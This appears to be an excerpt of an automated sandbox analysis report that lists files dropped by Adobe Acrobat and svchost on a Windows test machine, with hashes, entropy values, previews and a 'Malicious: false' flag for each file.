SHA-512:	2FAE6108EBD8B61F8FF73B3BE2D6EB386C8C5C1BA82770AED6A924DEB9F6D4C15FC3B61468894FA7483516BC06F73FB7C0D3FE01DB2991391AAD694FF9C6EF99
Malicious:	false
Preview:	G ..... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................3D.....}..................m..H.....}%..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08149924628165704
Encrypted:	false
SSDEEP:	3:R8YeBPnFtqll/nqlFcl1ZUllllZ+RMll/AllGBnX/l/Tj/k7/t:mzBPXqll/qlFclQ/lr+eXA254
MD5:	C7BD571732F5F7EEC62150CBEC6C55C9
SHA1:	81AADC9908177903D52EB72A2B8C0DB806EFC40F
SHA-256:	4C248A9C0522962DEEB7E6A48ED714289D1286943D8E772A1637D069B9148D19
SHA-512:	00B4B60E54723F8128D26F35931867DC579B4C0CC0E929EB3F15FC52A12E19936C311CF14A0E9514FCB742F21BEEF2495A7C44A7D79C6020F0AFC4D4A7D57416
Malicious:	false
Preview:	._.......................................;...{.......}%.. ...{s.......... ...{s.. ...{s.P.... ...{s.................m..H.....}%.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1149615725689666
Encrypted:	false
SSDEEP:	6:iOLAN4q2PCHhJ2nKuAl9OmbnIFUtlyvJZmwfXUMvDkwOCHhJ2nKuAl9OmbjLJ:7LRvBHAahFUtlm/fXb56HAaSJ
MD5:	FDF924610E922F4FCE443437B53F536F
SHA1:	109AEE6E7B7204EC4DD33F637EE96ADDC86439C2
SHA-256:	ECB5663318723716C7F830ED831B4A638B117A04799392B763FF03C1C2F094A2
SHA-512:	2E924AA1A3799265424156CCD7D9885730C6E1B89F4D297D2BC843900AF0EE248B8DE7378B0F7BF0204176C7FCD2C9E273386A530C6C6BC90BF781115B002730
Malicious:	false
Preview:	2025/01/11-00:03:18.682 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:03:18.684 1100 Recovering log #3.2025/01/11-00:03:18.685 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1149615725689666
Encrypted:	false
SSDEEP:	6:iOLAN4q2PCHhJ2nKuAl9OmbnIFUtlyvJZmwfXUMvDkwOCHhJ2nKuAl9OmbjLJ:7LRvBHAahFUtlm/fXb56HAaSJ
MD5:	FDF924610E922F4FCE443437B53F536F
SHA1:	109AEE6E7B7204EC4DD33F637EE96ADDC86439C2
SHA-256:	ECB5663318723716C7F830ED831B4A638B117A04799392B763FF03C1C2F094A2
SHA-512:	2E924AA1A3799265424156CCD7D9885730C6E1B89F4D297D2BC843900AF0EE248B8DE7378B0F7BF0204176C7FCD2C9E273386A530C6C6BC90BF781115B002730
Malicious:	false
Preview:	2025/01/11-00:03:18.682 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:03:18.684 1100 Recovering log #3.2025/01/11-00:03:18.685 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.117799428967555
Encrypted:	false
SSDEEP:	6:iOLDJ3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtlVZZmwfdVrVkwOCHhJ2nKuAl9Ombzz:7LN+vBHAa8uFUtln/fdVrV56HAa8RJ
MD5:	31D742BFE099896A099B242E2BF77584
SHA1:	2C346410C1D0B771013E05BB5CD7AF86B921E1BE
SHA-256:	9FDDB368C4C7A7ACFFA60C3E7E593CB87BF9448592C4368FDD11DE831B6C6D19
SHA-512:	93DFDDA21ECCD57A418A86D0ACE49BBB05035AB75FE1E532AD8F5EF67AB656D07793D28831184139F2F1E06FA184BA5B65FD0DB165ECD9D065F429086A16B43F
Malicious:	false
Preview:	2025/01/11-00:03:18.865 abc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:03:18.885 abc Recovering log #3.2025/01/11-00:03:18.900 abc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.117799428967555
Encrypted:	false
SSDEEP:	6:iOLDJ3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtlVZZmwfdVrVkwOCHhJ2nKuAl9Ombzz:7LN+vBHAa8uFUtln/fdVrV56HAa8RJ
MD5:	31D742BFE099896A099B242E2BF77584
SHA1:	2C346410C1D0B771013E05BB5CD7AF86B921E1BE
SHA-256:	9FDDB368C4C7A7ACFFA60C3E7E593CB87BF9448592C4368FDD11DE831B6C6D19
SHA-512:	93DFDDA21ECCD57A418A86D0ACE49BBB05035AB75FE1E532AD8F5EF67AB656D07793D28831184139F2F1E06FA184BA5B65FD0DB165ECD9D065F429086A16B43F
Malicious:	false
Preview:	2025/01/11-00:03:18.865 abc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:03:18.885 abc Recovering log #3.2025/01/11-00:03:18.900 abc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ebc8acc-75f2-4487-bd6c-f7a24699ae2c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966161562168669
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnnsBdOg2HGOHAcaq3QYiub6P7E4T3y:Y2sRds4IdMHBL3QYhbS7nby
MD5:	B706EE1F6246099284A1E9B1C7216DAD
SHA1:	F2C02C5678B1785C16A9D9088AE2EA2022068477
SHA-256:	E6C6C9348335C084524F81E5E830AA3D153A3CBC62B02D2089DF07D70C627D53
SHA-512:	532ADCBB688B4E826C604B3E5A7CADD472ECE787FDE381E489C417DD0D09167B6BB9A85FD0F913B96E710080EF9CBADDE85732FD4CC88D9B7689194466CBC71A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131809754405","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":114699},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966161562168669
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnnsBdOg2HGOHAcaq3QYiub6P7E4T3y:Y2sRds4IdMHBL3QYhbS7nby
MD5:	B706EE1F6246099284A1E9B1C7216DAD
SHA1:	F2C02C5678B1785C16A9D9088AE2EA2022068477
SHA-256:	E6C6C9348335C084524F81E5E830AA3D153A3CBC62B02D2089DF07D70C627D53
SHA-512:	532ADCBB688B4E826C604B3E5A7CADD472ECE787FDE381E489C417DD0D09167B6BB9A85FD0F913B96E710080EF9CBADDE85732FD4CC88D9B7689194466CBC71A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131809754405","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":114699},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.227315521310083
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bNDUvOcV:S43C4mS7fFi0KFYDjr3LWO3V3aw+bFUP
MD5:	0F4330EAABF3140F569256205B05F90D
SHA1:	EE8C176F34EEC9E34F97D266D9DC80AE3E9E3CBB
SHA-256:	D0D0A02B671ADDBE98B6385D4EA2E4A9B8EEBB2C9E90C94BBB3292E410D9F787
SHA-512:	6F8D154082F2F9A76C1286DF8C511289284DF87C5BCB10C97D15BFC7F3DCEBF28FACB23629EDF44F97B46FA0D7A39871E65D4F50CB552A85B11A309C59A0E365
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.140098117029083
Encrypted:	false
SSDEEP:	6:iOLQS0p+q2PCHhJ2nKuAl9OmbzNMxIFUtlQXbZmwfQVL3VkwOCHhJ2nKuAl9Ombg:7L4+vBHAa8jFUtlob/fGV56HAa84J
MD5:	87C59C4B5572D25886C6CF9C0B2D8781
SHA1:	72CB938FEBC42435EA39469F7C0FFD7D814DC5CF
SHA-256:	06C692F3399C71295F37166B6A63F6402E507D1E7D13416E067C1F9DF68EBEB1
SHA-512:	7AB260E4648FF5A081EB6893D77A894DF2D6AB374AE934CA7C0AF559FAFB7813A01FEDE51ECCFEC42B7DC27A4E94563755C3A1D0D0139F188C8C81EC2DF0C2AB
Malicious:	false
Preview:	2025/01/11-00:03:19.379 abc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:03:19.380 abc Recovering log #3.2025/01/11-00:03:19.382 abc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.140098117029083
Encrypted:	false
SSDEEP:	6:iOLQS0p+q2PCHhJ2nKuAl9OmbzNMxIFUtlQXbZmwfQVL3VkwOCHhJ2nKuAl9Ombg:7L4+vBHAa8jFUtlob/fGV56HAa84J
MD5:	87C59C4B5572D25886C6CF9C0B2D8781
SHA1:	72CB938FEBC42435EA39469F7C0FFD7D814DC5CF
SHA-256:	06C692F3399C71295F37166B6A63F6402E507D1E7D13416E067C1F9DF68EBEB1
SHA-512:	7AB260E4648FF5A081EB6893D77A894DF2D6AB374AE934CA7C0AF559FAFB7813A01FEDE51ECCFEC42B7DC27A4E94563755C3A1D0D0139F188C8C81EC2DF0C2AB
Malicious:	false
Preview:	2025/01/11-00:03:19.379 abc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:03:19.380 abc Recovering log #3.2025/01/11-00:03:19.382 abc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 4, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.2933302237044377
Encrypted:	false
SSDEEP:	192:PedRBrVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:Pexci5H5FY+EUUUTTcHqFzqFP
MD5:	898F9CE395D0A9595FA433D76FF16E41
SHA1:	B14603F04D0DC92028788F8C17830E7137205D7A
SHA-256:	721DDDB52361C741D6AD2210CE20EE6C8391AEA08F81175483A8493D524AB6AF
SHA-512:	C8AA885D6C094E2D2522C4F3204679214486DA8FD728B8A58E4439698A734B1C93E82BA0125937F549A157261D0630CC5824529AC6B0425BA15B48893D528C17
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2116075384348317
Encrypted:	false
SSDEEP:	24:7+tZqbW2wKjvqLKzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfJ:7M47qOmFTIF3XmHjBoGGR+jMz+Lhx
MD5:	F3B2BC867CBD19F5DCAED235C83F8E14
SHA1:	572AADC7A238D64FBBFE74880B23CEE9F8A0B40F
SHA-256:	D492FABCD42998BC16BA06D75611B0E01C1D6BFB5B50BB777FFBF6A410E438B4
SHA-512:	A4D96944A1757B68EA0DE35FE8F692476F0E02BEE6085CD9EC9E918A709323CED642328A617F55EA1C573B0E4C45C9A1BDB1E5A8B2845DD79DC845FFE3C2C30A
Malicious:	false
Preview:	.... .c......j..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkltpqkPtfllXlE/HT8kjKz1NNX8RolJuRdxLlGB9lQRYwpDdt:kKTseT8qK3NMa8RdWBwRd
MD5:	9DEE398BC18BF7B759CDAC830FF16077
SHA1:	C813DD796D9791676B9277C9354E3A824E6B3D60
SHA-256:	9360E751D403A41F4DA64EDFF5E8990A3CEDA3297F86272A749C80EC9B6637CF
SHA-512:	C2237A7C7B8BB1664BF933CAD3B5C61139148E0C816DC6475BF6CF2F2A6E66FCC607D3C89E9F8256F02480786CDF5716A96496592DF30B6C21C7E6565DE3BBC3
Malicious:	false
Preview:	p...... ...........%.c..(....................................................... ..........W.....k..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.124880512274036
Encrypted:	false
SSDEEP:	6:kKsuPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:UWiDnLNkPlE99SNxAhUe/3
MD5:	0041C3534EA3CC65C3FE82B2C3A91A37
SHA1:	393A3BF172895B09B2A4EBEBCAAC3A8B1C3FBBCA
SHA-256:	DCE8F1ABC58F56A08F2A1DFB90AC91AD9736268D8EAB050A227FB8366FD3DDFD
SHA-512:	A85DE33446E00C3C81E800BEF3D69908C496D6C98943041879DB75DD9C6ADF2E927BF85661142C255BF547DB412AA93E6289DAF4DAF8F03BEBC46AC8750762E8
Malicious:	false
Preview:	p...... ......../..I.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3836

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

